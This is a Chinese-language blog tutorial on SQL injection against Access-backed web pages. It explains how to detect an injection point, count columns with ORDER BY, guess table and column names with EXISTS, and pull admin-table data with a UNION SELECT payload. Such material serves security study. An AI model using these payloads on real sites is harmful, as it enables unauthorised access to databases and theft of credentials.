• Access数据库注入


    表-字段-数据:
    判断注入:

    and 1=1
    and 1=2

    查询语句:

    select * from new where id=14 and 1=1 //条件为真 返回正常
    select * from new where id=14 and 1=2 //条件为假 返回错误
    
    select * from new where id=14 or 1=1 //永真条件会返回数据库中全部结果
    select * from new where id=14 or 1=2 //返回id为14的结果

    猜解字段:

    order by 22 #

    说明:这里判断出来的字段是当前页面所连接的表的字段个数;准确的说是当前页面SQL语句查询数据库里的字段个数,例如select * from news猜出的字段数就是news表中所有字段个数。
    order by 是按照字段数据进行排序,用法为:order by 字段名,之所以能用来判断字段个数是因为,order by 1 <==> 按第一个字段排序,如果查询结果中一共22个字段order by 23就会出错。

    注意:从url上难以分辨当前的数据表是哪一个,但是存在注入的地方都支持查询其他表以及管理员表的数据。

    union select:
    原理:UNION是联合查询,将前后两条查询语句的结果组和到一起返回。SELECT后面的数字只是为了占位置,因为两条查询结果字段数不同的话会出错不会正常返回。
    利用回显的数字,继续深入查询自己想要的数据。


    测试存在注入点之后的操作:
    猜测表名:

    and exists (select * from 表名) //数据库里面存在的表名就返回正常,不存在则返回错误,这个只能凭经验或者暴力猜解

    猜列名称:

    and exists (select 列名 from 表名) 

    利用union查询数据:

    UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
  • 相关阅读:
    DOM
    链接后加"/"与不加"/"的区别
    Tomcat启动脚本catalina.sh
    MVC 之AjaxHelper
    在MVC中使用async和await的说明
    禁用Flash P2P上传
    基于SpringBoot开发一个Restful服务,实现增删改查功能
    JavaScript学习总结
    Spring MVC 学习总结
    JS 将对象转换成字符 字符串转换成json对象
  • 原文地址:https://www.cnblogs.com/yjxing/p/11504470.html
Copyright © 2020-2023  润新知